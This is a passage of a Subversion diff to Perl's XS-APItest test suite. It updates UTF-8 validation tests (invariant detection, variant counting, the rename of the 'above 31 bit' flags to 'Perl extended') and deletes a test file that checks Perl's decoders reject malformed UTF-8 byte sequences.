+my $display_invariant = isASCII ? "7F" : sprintf "%02X", utf8::unicode_to_native(0x9F);
+my $display_variant =   isASCII ? "80" : sprintf "%02X", utf8::unicode_to_native(0xA0);
+my $invariant = chr hex $display_invariant;
+my $variant = chr hex $display_variant;
+
+# We create a string with the correct number of bytes.  The -1 is to make the
+# final portion not quite fill a full word and $offset to do the same for the
+# initial portion.)
+my $string_length = 3 * $word_length - 1 - $offset;
+my $all_invariants = $invariant x $string_length;
+my $display_all_invariants = $display_invariant x $string_length;
+
+my $ret_ref = test_is_utf8_invariant_string_loc($all_invariants, $offset,
+                                                length $all_invariants);
+pass("The tests below are for is_utf8_invariant_string_loc() with string"
+   . " starting $offset bytes after a word boundary");
+is($ret_ref->[0], 1, "$display_all_invariants contains no variants");
+
+# Just create a string with a single variant, in all the possible positions.
+for my $pos (0.. length($all_invariants) - 1) {
+    my $test_string = $all_invariants;
+    my $test_display = $display_all_invariants;
+
+    substr($test_string, $pos, 1) = $variant;
+    substr($test_display, $pos * 2, 2) = $display_variant;
+    my $ret_ref = test_is_utf8_invariant_string_loc($test_string, $offset,
+                                                    length $test_string);
+    if (is($ret_ref->[0], 0, "$test_display has a variant")) {
+        is($ret_ref->[1], $pos, "   at position $pos");
+    }
+}
+
+# Now work on variant_under_utf8_count().
+pass("The tests below are for variant_under_utf8_count() with string"
+   . " starting $offset bytes after a word boundary");
+is(test_variant_under_utf8_count($all_invariants, $offset,
+                                length $all_invariants),
+                                0,
+                                "$display_all_invariants contains 0 variants");
+
+# First, put a variant in each possible position in the flanking partial words
+for my $pos (0 .. $word_length - $offset,
+             2 * $word_length .. length($all_invariants) - 1)
+{
+    my $test_string = $all_invariants;
+    my $test_display = $display_all_invariants;
+
+    substr($test_string, $pos, 1) = $variant;
+    substr($test_display, $pos * 2, 2) = $display_variant;
+    is(test_variant_under_utf8_count($test_string, $offset, length $test_string),
+                                     1,
+                                     "$test_display contains 1 variant");
+}
+
+# Then try all possible combinations of variant/invariant in the full word in
+# the middle  (We've already tested the case with 0 variants, so start at 1.)
+for my $bit_pattern (1 .. (1 << $word_length) - 1) {
+    my $bits = $bit_pattern;
+    my $display_word = "";
+    my $test_word = "";
+    my $count = 0;
+
+    # Every 1 bit gets the variant for this particular $bit_pattern.
+    for my $bit (0 .. 7) {
+        if ($bits & 1) {
+            $count++;
+            $test_word .= $variant;
+            $display_word .= $display_variant;
+        }
+        else {
+            $test_word .= $invariant;
+            $display_word .= $display_invariant;
+        }
+        $bits >>= 1;
+    }
+
+    my $test_string = $variant x ($word_length - 1)
+                    . $test_word
+                    . $variant x ($word_length - 1);
+    my $display_string = $display_variant x ($word_length - 1)
+                        . $display_word
+                        . $display_variant x ($word_length - 1);
+    my $expected_count = $count + 2 * $word_length - 2;
+    is(test_variant_under_utf8_count($test_string, $offset,
+                        length $test_string), $expected_count,
+                        "$display_string contains $expected_count variants");
+}
+
+
 my $pound_sign = chr utf8::unicode_to_native(163);
 
 # This  test file can't use byte_utf8a_to_utf8n() from t/charset_tools.pl
@@ -32,8 +138,8 @@
 			| $::UTF8_WARN_NONCHAR
 			| $::UTF8_DISALLOW_SUPER
 			| $::UTF8_WARN_SUPER
-			| $::UTF8_DISALLOW_ABOVE_31_BIT
-			| $::UTF8_WARN_ABOVE_31_BIT;
+			| $::UTF8_DISALLOW_PERL_EXTENDED
+			| $::UTF8_WARN_PERL_EXTENDED;
 my $look_for_everything_uvchr_to
                         = $::UNICODE_DISALLOW_SURROGATE
 			| $::UNICODE_WARN_SURROGATE
@@ -41,9 +147,11 @@
 			| $::UNICODE_WARN_NONCHAR
 			| $::UNICODE_DISALLOW_SUPER
 			| $::UNICODE_WARN_SUPER
-			| $::UNICODE_DISALLOW_ABOVE_31_BIT
-			| $::UNICODE_WARN_ABOVE_31_BIT;
+			| $::UNICODE_DISALLOW_PERL_EXTENDED
+			| $::UNICODE_WARN_PERL_EXTENDED;
 
+my $highest_non_extended_cp = 2 ** ((isASCII) ? 31 : 30) - 1;
+
 foreach ([0, '', '', 'empty'],
 	 [0, 'N', 'N', '1 char'],
 	 [1, 'NN', 'N', '1 char substring'],
@@ -59,10 +167,10 @@
     my ($expect, $left, $right, $desc) = @$_;
     my $copy = $right;
     utf8::encode($copy);
-    is(bytes_cmp_utf8($left, $copy), $expect, $desc);
+    is(bytes_cmp_utf8($left, $copy), $expect, "bytes_cmp_utf8: $desc");
     next if $right =~ tr/\0-\377//c;
     utf8::encode($left);
-    is(bytes_cmp_utf8($right, $left), -$expect, "$desc reversed");
+    is(bytes_cmp_utf8($right, $left), -$expect, "... and $desc reversed");
 }
 
 # The keys to this hash are Unicode code points, their values are the native
@@ -72,9 +180,9 @@
 # are adjacent to problematic code points, so we want to make sure they aren't
 # considered problematic.
 my %code_points = (
-    0x0100     => (isASCII) ? "\xc4\x80" : I8_to_native("\xc8\xa0"),
-    0x0400 - 1 => (isASCII) ? "\xcf\xbf" : I8_to_native("\xdf\xbf"),
-    0x0400     => (isASCII) ? "\xd0\x80" : I8_to_native("\xe1\xa0\xa0"),
+    0x0100     => (isASCII) ? "\xc4\x80"     : I8_to_native("\xc8\xa0"),
+    0x0400 - 1 => (isASCII) ? "\xcf\xbf"     : I8_to_native("\xdf\xbf"),
+    0x0400     => (isASCII) ? "\xd0\x80"     : I8_to_native("\xe1\xa0\xa0"),
     0x0800 - 1 => (isASCII) ? "\xdf\xbf"     : I8_to_native("\xe1\xbf\xbf"),
     0x0800     => (isASCII) ? "\xe0\xa0\x80" : I8_to_native("\xe2\xa0\xa0"),
     0x4000 - 1 => (isASCII) ? "\xe3\xbf\xbf" : I8_to_native("\xef\xbf\xbf"),
@@ -95,11 +203,10 @@
     0xD7FF     => (isASCII) ? "\xed\x9f\xbf" : I8_to_native("\xf1\xb5\xbf\xbf"),
     0xD800     => (isASCII) ? "\xed\xa0\x80" : I8_to_native("\xf1\xb6\xa0\xa0"),
     0xDC00     => (isASCII) ? "\xed\xb0\x80" : I8_to_native("\xf1\xb7\xa0\xa0"),
-    0xDFFF     => (isASCII) ? "\xee\x80\x80" : I8_to_native("\xf1\xb8\xa0\xa0"),
     0xDFFF     => (isASCII) ? "\xed\xbf\xbf" : I8_to_native("\xf1\xb7\xbf\xbf"),
     0xE000     => (isASCII) ? "\xee\x80\x80" : I8_to_native("\xf1\xb8\xa0\xa0"),
 
-    # Include the 32 contiguous non characters, and surrounding code points
+    # Include the 32 contiguous non characters, and adjacent code points
     0xFDCF     => (isASCII) ? "\xef\xb7\x8f" : I8_to_native("\xf1\xbf\xae\xaf"),
     0xFDD0     => (isASCII) ? "\xef\xb7\x90" : I8_to_native("\xf1\xbf\xae\xb0"),
     0xFDD1     => (isASCII) ? "\xef\xb7\x91" : I8_to_native("\xf1\xbf\xae\xb1"),
@@ -384,16 +491,18 @@
     0x80000000 - 1 =>
     (isASCII) ?    "\xfd\xbf\xbf\xbf\xbf\xbf"
     : I8_to_native("\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa1\xbf\xbf\xbf\xbf\xbf\xbf"),
-    0x80000000     =>
-    (isASCII) ?    "\xfe\x82\x80\x80\x80\x80\x80"
-    : I8_to_native("\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0"),
-    0xFFFFFFFF     =>
-    (isASCII) ?    "\xfe\x83\xbf\xbf\xbf\xbf\xbf"
-    : I8_to_native("\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa3\xbf\xbf\xbf\xbf\xbf\xbf"),
 );
 
 if ($::is64bit) {
     no warnings qw(overflow portable);
+    $code_points{0x80000000}
+    = (isASCII)
+    ?              "\xfe\x82\x80\x80\x80\x80\x80"
+    : I8_to_native("\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0");
+    $code_points{0xFFFFFFFF}
+    = (isASCII)
+    ?              "\xfe\x83\xbf\xbf\xbf\xbf\xbf"
+    : I8_to_native("\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa3\xbf\xbf\xbf\xbf\xbf\xbf");
     $code_points{0x100000000}
      = (isASCII)
      ?              "\xfe\x84\x80\x80\x80\x80\x80"
@@ -406,10 +515,17 @@
      = (isASCII)
      ?              "\xff\x80\x80\x80\x80\x80\x81\x80\x80\x80\x80\x80\x80"
      : I8_to_native("\xff\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0\xa0");
-    $code_points{0xFFFFFFFFFFFFFFFF}
+    $code_points{0x7FFFFFFFFFFFFFFF}
      = (isASCII)
-     ?              "\xff\x80\x8f\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"
-     : I8_to_native("\xff\xaf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf");
+     ?              "\xff\x80\x87\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"
+     : I8_to_native("\xff\xa7\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf");
+
+    # This is used when UV_MAX is the upper limit of acceptable code points
+    # $code_points{0xFFFFFFFFFFFFFFFF}
+    # = (isASCII)
+    # ?              "\xff\x80\x8f\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"
+    # : I8_to_native("\xff\xaf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf");
+
     if (isASCII) {  # These could falsely show as overlongs in a naive
                     # implementation
         $code_points{0x40000000000}
@@ -449,17 +565,17 @@
 # continuation bytes can be in, and what the lowest start byte can be.  So we
 # cycle through them.
 
-my $final_continuation = 0xBF;
+my $highest_continuation = 0xBF;
 my $start = (isASCII) ? 0xC2 : 0xC5;
 
-my $continuation = $::first_continuation - 1;
+my $continuation = $::lowest_continuation - 1;
 
 while ($cp < 255) {
-    if (++$continuation > $final_continuation) {
+    if (++$continuation > $highest_continuation) {
 
         # Wrap to the next start byte when we reach the final continuation
         # byte possible
-        $continuation = $::first_continuation;
+        $continuation = $::lowest_continuation;
         $start++;
     }
     $code_points{$cp} = I8_to_native(chr($start) . chr($continuation));
@@ -474,11 +590,6 @@
 
 my %restriction_types;
 
-$restriction_types{""}{'valid_strings'} = "";
-$restriction_types{"c9strict"}{'valid_strings'} = "";
-$restriction_types{"strict"}{'valid_strings'} = "";
-$restriction_types{"fits_in_31_bits"}{'valid_strings'} = "";
-
 # This set of tests looks for basic sanity, and lastly tests various routines
 # for the given code point.  If the earlier tests for that code point fail,
 # the later ones probably will too.  Malformations are tested in later
@@ -620,15 +731,15 @@
 
     my $valid_under_strict = 1;
     my $valid_under_c9strict = 1;
-    my $valid_for_fits_in_31_bits = 1;
+    my $valid_for_not_extended_utf8 = 1;
     if ($n > 0x10FFFF) {
         $this_utf8_flags &= ~($::UTF8_DISALLOW_SUPER|$::UTF8_WARN_SUPER);
         $valid_under_strict = 0;
         $valid_under_c9strict = 0;
-        if ($n > 2 ** 31 - 1) {
+        if ($n > $highest_non_extended_cp) {
             $this_utf8_flags &=
-                        ~($::UTF8_DISALLOW_ABOVE_31_BIT|$::UTF8_WARN_ABOVE_31_BIT);
-            $valid_for_fits_in_31_bits = 0;
+                ~($::UTF8_DISALLOW_PERL_EXTENDED|$::UTF8_WARN_PERL_EXTENDED);
+            $valid_for_not_extended_utf8 = 0;
         }
     }
     elsif (($n >= 0xFDD0 && $n <= 0xFDEF) || ($n & 0xFFFE) == 0xFFFE) {
@@ -782,19 +893,20 @@
 
     # Similarly for uvchr_to_utf8
     my $this_uvchr_flags = $look_for_everything_uvchr_to;
-    if ($n > 2 ** 31 - 1) {
+    if ($n > $highest_non_extended_cp) {
         $this_uvchr_flags &=
-                ~($::UNICODE_DISALLOW_ABOVE_31_BIT|$::UNICODE_WARN_ABOVE_31_BIT);
+            ~($::UNICODE_DISALLOW_PERL_EXTENDED|$::UNICODE_WARN_PERL_EXTENDED);
     }
     if ($n > 0x10FFFF) {
         $this_uvchr_flags &= ~($::UNICODE_DISALLOW_SUPER|$::UNICODE_WARN_SUPER);
     }
     elsif (($n >= 0xFDD0 && $n <= 0xFDEF) || ($n & 0xFFFE) == 0xFFFE) {
-        $this_uvchr_flags &= ~($::UNICODE_DISALLOW_NONCHAR|$::UNICODE_WARN_NONCHAR);
+        $this_uvchr_flags
+                     &= ~($::UNICODE_DISALLOW_NONCHAR|$::UNICODE_WARN_NONCHAR);
     }
     elsif ($n >= 0xD800 && $n <= 0xDFFF) {
         $this_uvchr_flags
-                     &= ~($::UNICODE_DISALLOW_SURROGATE|$::UNICODE_WARN_SURROGATE);
+                &= ~($::UNICODE_DISALLOW_SURROGATE|$::UNICODE_WARN_SURROGATE);
     }
     $display_flags = sprintf "0x%x", $this_uvchr_flags;
 
@@ -844,17 +956,17 @@
                                 = $restriction_types{"strict"}{'valid_counts'};
     }
 
-    if ($valid_for_fits_in_31_bits) {
-        $restriction_types{"fits_in_31_bits"}{'valid_strings'} .= $bytes;
-        $restriction_types{"fits_in_31_bits"}{'valid_counts'}++;
+    if ($valid_for_not_extended_utf8) {
+        $restriction_types{"not_extended_utf8"}{'valid_strings'} .= $bytes;
+        $restriction_types{"not_extended_utf8"}{'valid_counts'}++;
     }
     elsif (! exists
-                $restriction_types{"fits_in_31_bits"}{'first_invalid_offset'})
+                $restriction_types{"not_extended_utf8"}{'first_invalid_offset'})
     {
-        $restriction_types{"fits_in_31_bits"}{'first_invalid_offset'}
-                = length $restriction_types{"fits_in_31_bits"}{'valid_strings'};
-        $restriction_types{"fits_in_31_bits"}{'first_invalid_count'}
-                        = $restriction_types{"fits_in_31_bits"}{'valid_counts'};
+        $restriction_types{"not_extended_utf8"}{'first_invalid_offset'}
+                = length $restriction_types{"not_extended_utf8"}{'valid_strings'};
+        $restriction_types{"not_extended_utf8"}{'first_invalid_count'}
+                        = $restriction_types{"not_extended_utf8"}{'valid_counts'};
     }
 }
 
@@ -874,7 +986,7 @@
         # and the specially named foo function.  But not if there isn't such a
         # specially named function.  Currently, this is the only tested
         # restriction that doesn't have a specially named function
-        next if $use_flags eq "" && $restriction eq "fits_in_31_bits";
+        next if $use_flags eq "" && $restriction eq "not_extended_utf8";
 
         # Start building up the name of the function we will test.
         my $base_name = "is_";
@@ -886,7 +998,7 @@
         # We test both "is_utf8_string_foo" and "is_fixed_width_buf" functions
         foreach my $operand ('string', 'fixed_width_buf') {
 
-            # Currently, the only fixed_width_buf functions have the '_flags'
+            # Currently, only fixed_width_buf functions have the '_flags'
             # suffix.
             next if $operand eq 'fixed_width_buf' && $use_flags eq "";
 
@@ -901,7 +1013,7 @@
                 #      continuation character to the valid string
                 #   c) input created by appending a partial character.  This
                 #      is valid in the 'fixed_width' functions, but invalid in
-                #   the 'string' ones
+                #      the 'string' ones
                 #   d) invalid input created by calling a function that is
                 #      expecting a restricted form of the input using the string
                 #      that's valid when unrestricted
@@ -945,42 +1057,29 @@
                                         = 0 if $operand eq "fixed_width_buf";
                             }
                         }
+                        elsif (! exists $restriction_types
+                                    {$this_error_type}{'first_invalid_count'})
+                        {
+                            # If no errors were found, this is entirely valid.
+                            $this_error_type = 0;
+                        }
                         else {
-                            $test_name_suffix
-                                        = " if contains forbidden code points";
-                            if ($this_error_type eq "c9strict") {
-                                $bytes = $restriction_types{""}{'valid_strings'};
-                                $expected_offset
-                                 = $restriction_types{"c9strict"}
-                                                     {'first_invalid_offset'};
-                                $expected_count
-                                  = $restriction_types{"c9strict"}
-                                                      {'first_invalid_count'};
-                            }
-                            elsif ($this_error_type eq "strict") {
-                                $bytes = $restriction_types{""}{'valid_strings'};
-                                $expected_offset
-                                  = $restriction_types{"strict"}
-                                                      {'first_invalid_offset'};
-                                $expected_count
-                                  = $restriction_types{"strict"}
-                                                      {'first_invalid_count'};
 
-                            }
-                            elsif ($this_error_type eq "fits_in_31_bits") {
-                                $bytes = $restriction_types{""}{'valid_strings'};
-                                $expected_offset
-                                  = $restriction_types{"fits_in_31_bits"}
-                                                      {'first_invalid_offset'};
-                                $expected_count
-                                    = $restriction_types{"fits_in_31_bits"}
-                                                        {'first_invalid_count'};
-                            }
-                            else {
+                            if (! exists $restriction_types{$this_error_type}) {
                                 fail("Internal test error: Unknown error type "
                                 . "'$this_error_type'");
                                 next;
                             }
+                            $test_name_suffix
+                                        = " if contains forbidden code points";
+
+                            $bytes = $restriction_types{""}{'valid_strings'};
+                            $expected_offset
+                                 = $restriction_types{$this_error_type}
+                                                     {'first_invalid_offset'};
+                            $expected_count
+                                  = $restriction_types{$this_error_type }
+                                                      {'first_invalid_count'};
                         }
                     }
 
@@ -1007,8 +1106,8 @@
                             elsif ($restriction eq "strict") {
                                 $test .= ", $::UTF8_DISALLOW_ILLEGAL_INTERCHANGE";
                             }
-                            elsif ($restriction eq "fits_in_31_bits") {
-                                $test .= ", $::UTF8_DISALLOW_ABOVE_31_BIT";
+                            elsif ($restriction eq "not_extended_utf8") {
+                                $test .= ", $::UTF8_DISALLOW_PERL_EXTENDED";
                             }
                             else {
                                 fail("Internal test error: Unknown restriction "

Deleted: vendor/perl/dist/ext/XS-APItest/t/utf8_malformed.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8_malformed.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8_malformed.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,418 +0,0 @@
-#!perl -w
-
-# Test handling of various UTF-8 malformations
-
-use strict;
-use Test::More;
-
-BEGIN {
-    use_ok('XS::APItest');
-    require 'charset_tools.pl';
-    require './t/utf8_setup.pl';
-};
-
-$|=1;
-
-no warnings 'deprecated'; # Some of the below are above IV_MAX on 32 bit
-                          # machines, and that is tested elsewhere
-
-use XS::APItest;
-
-my @warnings;
-
-use warnings 'utf8';
-local $SIG{__WARN__} = sub { push @warnings, @_ };
-
-my $I8c = $::I8c;
-
-my $REPLACEMENT = 0xFFFD;
-
-# Now test the malformations.  All these raise category utf8 warnings.
-my @malformations = (
-    # ($testname, $bytes, $length, $allow_flags, $expected_error_flags,
-    #  $allowed_uv, $expected_len, $needed_to_discern_len, $message )
-
-# Now considered a program bug, and asserted against
-    #[ "zero length string malformation", "", 0,
-    #    $::UTF8_ALLOW_EMPTY, $::UTF8_GOT_EMPTY, $REPLACEMENT, 0, 0,
-    #    qr/empty string/
-    #],
-    [ "orphan continuation byte malformation", I8_to_native("${I8c}a"), 2,
-        $::UTF8_ALLOW_CONTINUATION, $::UTF8_GOT_CONTINUATION, $REPLACEMENT,
-        1, 1,
-        qr/unexpected continuation byte/
-    ],
-    [ "premature next character malformation (immediate)",
-        (isASCII) ? "\xc2\xc2\x80" : I8_to_native("\xc5\xc5\xa0"),
-        3,
-        $::UTF8_ALLOW_NON_CONTINUATION, $::UTF8_GOT_NON_CONTINUATION, $REPLACEMENT,
-        1, 2,
-        qr/unexpected non-continuation byte.*immediately after start byte/
-    ],
-    [ "premature next character malformation (non-immediate)",
-        I8_to_native("\xef${I8c}a"), 3,
-        $::UTF8_ALLOW_NON_CONTINUATION, $::UTF8_GOT_NON_CONTINUATION, $REPLACEMENT,
-        2, 3,
-        qr/unexpected non-continuation byte .* 2 bytes after start byte/
-    ],
-    [ "too short malformation", I8_to_native("\xf1${I8c}a"), 2,
-        # Having the 'a' after this, but saying there are only 2 bytes also
-        # tests that we pay attention to the passed in length
-        $::UTF8_ALLOW_SHORT, $::UTF8_GOT_SHORT, $REPLACEMENT,
-        2, 2,
-        qr/2 bytes available, need 4/
-    ],
-    [ "overlong malformation, lowest 2-byte",
-        (isASCII) ? "\xc0\x80" : I8_to_native("\xc0\xa0"),
-        2,
-        $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-        0,   # NUL
-        2, 1,
-        qr/overlong/
-    ],
-    [ "overlong malformation, highest 2-byte",
-        (isASCII) ? "\xc1\xbf" : I8_to_native("\xc4\xbf"),
-        2,
-        $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-        (isASCII) ? 0x7F : utf8::unicode_to_native(0x9F),
-        2, 1,
-        qr/overlong/
-    ],
-    [ "overlong malformation, lowest 3-byte",
-        (isASCII) ? "\xe0\x80\x80" : I8_to_native("\xe0\xa0\xa0"),
-        3,
-        $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-        0,   # NUL
-        3, (isASCII) ? 2 : 1,
-        qr/overlong/
-    ],
-    [ "overlong malformation, highest 3-byte",
-        (isASCII) ? "\xe0\x9f\xbf" : I8_to_native("\xe0\xbf\xbf"),
-        3,
-        $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-        (isASCII) ? 0x7FF : 0x3FF,
-        3, (isASCII) ? 2 : 1,
-        qr/overlong/
-    ],
-    [ "overlong malformation, lowest 4-byte",
-        (isASCII) ? "\xf0\x80\x80\x80" : I8_to_native("\xf0\xa0\xa0\xa0"),
-        4,
-        $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-        0,   # NUL
-        4, 2,
-        qr/overlong/
-    ],
-    [ "overlong malformation, highest 4-byte",
-        (isASCII) ? "\xf0\x8F\xbf\xbf" : I8_to_native("\xf0\xaf\xbf\xbf"),
-        4,
-        $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-        (isASCII) ? 0xFFFF : 0x3FFF,
-        4, 2,
-        qr/overlong/
-    ],
-    [ "overlong malformation, lowest 5-byte",
-        (isASCII)
-         ?              "\xf8\x80\x80\x80\x80"
-         : I8_to_native("\xf8\xa0\xa0\xa0\xa0"),
-        5,
-        $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-        0,   # NUL
-        5, 2,
-        qr/overlong/
-    ],
-    [ "overlong malformation, highest 5-byte",
-        (isASCII)
-         ?              "\xf8\x87\xbf\xbf\xbf"
-         : I8_to_native("\xf8\xa7\xbf\xbf\xbf"),
-        5,
-        $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-        (isASCII) ? 0x1FFFFF : 0x3FFFF,
-        5, 2,
-        qr/overlong/
-    ],
-    [ "overlong malformation, lowest 6-byte",
-        (isASCII)
-         ?              "\xfc\x80\x80\x80\x80\x80"
-         : I8_to_native("\xfc\xa0\xa0\xa0\xa0\xa0"),
-        6,
-        $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-        0,   # NUL
-        6, 2,
-        qr/overlong/
-    ],
-    [ "overlong malformation, highest 6-byte",
-        (isASCII)
-         ?              "\xfc\x83\xbf\xbf\xbf\xbf"
-         : I8_to_native("\xfc\xa3\xbf\xbf\xbf\xbf"),
-        6,
-        $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-        (isASCII) ? 0x3FFFFFF : 0x3FFFFF,
-        6, 2,
-        qr/overlong/
-    ],
-    [ "overlong malformation, lowest 7-byte",
-        (isASCII)
-         ?              "\xfe\x80\x80\x80\x80\x80\x80"
-         : I8_to_native("\xfe\xa0\xa0\xa0\xa0\xa0\xa0"),
-        7,
-        $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-        0,   # NUL
-        7, 2,
-        qr/overlong/
-    ],
-    [ "overlong malformation, highest 7-byte",
-        (isASCII)
-         ?              "\xfe\x81\xbf\xbf\xbf\xbf\xbf"
-         : I8_to_native("\xfe\xa1\xbf\xbf\xbf\xbf\xbf"),
-        7,
-        $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-        (isASCII) ? 0x7FFFFFFF : 0x3FFFFFF,
-        7, 2,
-        qr/overlong/
-    ],
-);
-
-if (isASCII && ! $::is64bit) {    # 32-bit ASCII platform
-    no warnings 'portable';
-    push @malformations,
-        [ "overflow malformation",
-            "\xfe\x84\x80\x80\x80\x80\x80",  # Represents 2**32
-            7,
-            $::UTF8_ALLOW_OVERFLOW, $::UTF8_GOT_OVERFLOW,
-            $REPLACEMENT,
-            7, 2,
-            qr/overflows/
-        ],
-        [ "overflow malformation",
-            "\xff\x80\x80\x80\x80\x80\x81\x80\x80\x80\x80\x80\x80",
-            $::max_bytes,
-            $::UTF8_ALLOW_OVERFLOW, $::UTF8_GOT_OVERFLOW,
-            $REPLACEMENT,
-            $::max_bytes, 1,
-            qr/overflows/
-        ];
-}
-else { # 64-bit ASCII, or EBCDIC of any size.
-    # On EBCDIC platforms, another overlong test is needed even on 32-bit
-    # systems, whereas it doesn't happen on ASCII except on 64-bit ones.
-
-    no warnings 'portable';
-    no warnings 'overflow'; # Doesn't run on 32-bit systems, but compiles
-    push @malformations,
-        [ "overlong malformation, lowest max-byte",
-            (isASCII)
-             ?      "\xff\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80"
-             : I8_to_native(
-                    "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
-            $::max_bytes,
-            $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-            0,   # NUL
-            $::max_bytes, (isASCII) ? 7 : 8,
-            qr/overlong/,
-        ],
-        [ "overlong malformation, highest max-byte",
-            (isASCII)    # 2**36-1 on ASCII; 2**30-1 on EBCDIC
-             ?      "\xff\x80\x80\x80\x80\x80\x80\xbf\xbf\xbf\xbf\xbf\xbf"
-             : I8_to_native(
-                    "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xbf\xbf\xbf\xbf\xbf\xbf"),
-            $::max_bytes,
-            $::UTF8_ALLOW_LONG, $::UTF8_GOT_LONG,
-            (isASCII) ? 0xFFFFFFFFF : 0x3FFFFFFF,
-            $::max_bytes, (isASCII) ? 7 : 8,
-            qr/overlong/,
-        ];
-
-    if (! $::is64bit) {   # 32-bit EBCDIC
-        push @malformations,
-        [ "overflow malformation",
-            I8_to_native(
-                    "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa4\xa0\xa0\xa0\xa0\xa0\xa0"),
-            $::max_bytes,
-            $::UTF8_ALLOW_OVERFLOW, $::UTF8_GOT_OVERFLOW,
-            $REPLACEMENT,
-            $::max_bytes, 8,
-            qr/overflows/
-        ];
-    }
-    else {  # 64-bit, either ASCII or EBCDIC
-        push @malformations,
-            [ "overflow malformation",
-               (isASCII)
-                ?   "\xff\x80\x90\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"
-                : I8_to_native(
-                    "\xff\xb0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
-                $::max_bytes,
-                $::UTF8_ALLOW_OVERFLOW, $::UTF8_GOT_OVERFLOW,
-                $REPLACEMENT,
-                $::max_bytes, (isASCII) ? 3 : 2,
-                qr/overflows/
-            ];
-    }
-}
-
-# For each overlong malformation in the list, we modify it, so that there are
-# two tests.  The first one returns the replacement character given the input
-# flags, and the second test adds a flag that causes the actual code point the
-# malformation represents to be returned.
-my @added_overlongs;
-foreach my $test (@malformations) {
-    my ($testname, $bytes, $length, $allow_flags, $expected_error_flags,
-        $allowed_uv, $expected_len, $needed_to_discern_len, $message ) = @$test;
-    next unless $testname =~ /overlong/;
-
-    $test->[0] .= "; use REPLACEMENT CHAR";
-    $test->[5] = $REPLACEMENT;
-
-    push @added_overlongs,
-        [ $testname . "; use actual value",
-          $bytes, $length,
-          $allow_flags | $::UTF8_ALLOW_LONG_AND_ITS_VALUE,
-          $expected_error_flags, $allowed_uv, $expected_len,
-          $needed_to_discern_len, $message
-        ];
-}
-push @malformations, @added_overlongs;
-
-foreach my $test (@malformations) {
-    my ($testname, $bytes, $length, $allow_flags, $expected_error_flags,
-        $allowed_uv, $expected_len, $needed_to_discern_len, $message ) = @$test;
-
-    if (length($bytes) < $length) {
-        fail("Internal test error: actual buffer length (" . length($bytes)
-           . ") must be at least as high as how far we are allowed to read"
-           . " into it ($length)");
-        diag($testname);
-        next;
-    }
-
-    undef @warnings;
-
-    my $ret = test_isUTF8_CHAR($bytes, $length);
-    is($ret, 0, "$testname: isUTF8_CHAR returns 0");
-    is(scalar @warnings, 0, "$testname: isUTF8_CHAR() generated no warnings")
-      or output_warnings(@warnings);
-
-    undef @warnings;
-
-    $ret = test_isUTF8_CHAR_flags($bytes, $length, 0);
-    is($ret, 0, "$testname: isUTF8_CHAR_flags returns 0");
-    is(scalar @warnings, 0, "$testname: isUTF8_CHAR_flags() generated no"
-                          . " warnings")
-      or output_warnings(@warnings);
-
-    $ret = test_isSTRICT_UTF8_CHAR($bytes, $length);
-    is($ret, 0, "$testname: isSTRICT_UTF8_CHAR returns 0");
-    is(scalar @warnings, 0,
-                    "$testname: isSTRICT_UTF8_CHAR() generated no warnings")
-      or output_warnings(@warnings);
-
-    $ret = test_isC9_STRICT_UTF8_CHAR($bytes, $length);
-    is($ret, 0, "$testname: isC9_STRICT_UTF8_CHAR returns 0");
-    is(scalar @warnings, 0,
-               "$testname: isC9_STRICT_UTF8_CHAR() generated no warnings")
-      or output_warnings(@warnings);
-
-    for my $j (1 .. $length - 1) {
-        my $partial = substr($bytes, 0, $j);
-
-        undef @warnings;
-
-        $ret = test_is_utf8_valid_partial_char_flags($bytes, $j, 0);
-
-        my $ret_should_be = 0;
-        my $comment = "";
-        if ($j < $needed_to_discern_len) {
-            $ret_should_be = 1;
-            $comment = ", but need $needed_to_discern_len bytes to discern:";
-        }
-
-        is($ret, $ret_should_be, "$testname: is_utf8_valid_partial_char_flags("
-                                . display_bytes($partial)
-                                . ")$comment returns $ret_should_be");
-        is(scalar @warnings, 0,
-                "$testname: is_utf8_valid_partial_char_flags() generated"
-              . " no warnings")
-          or output_warnings(@warnings);
-    }
-
-
-    # Test what happens when this malformation is not allowed
-    undef @warnings;
-    my $ret_ref = test_utf8n_to_uvchr_error($bytes, $length, 0);
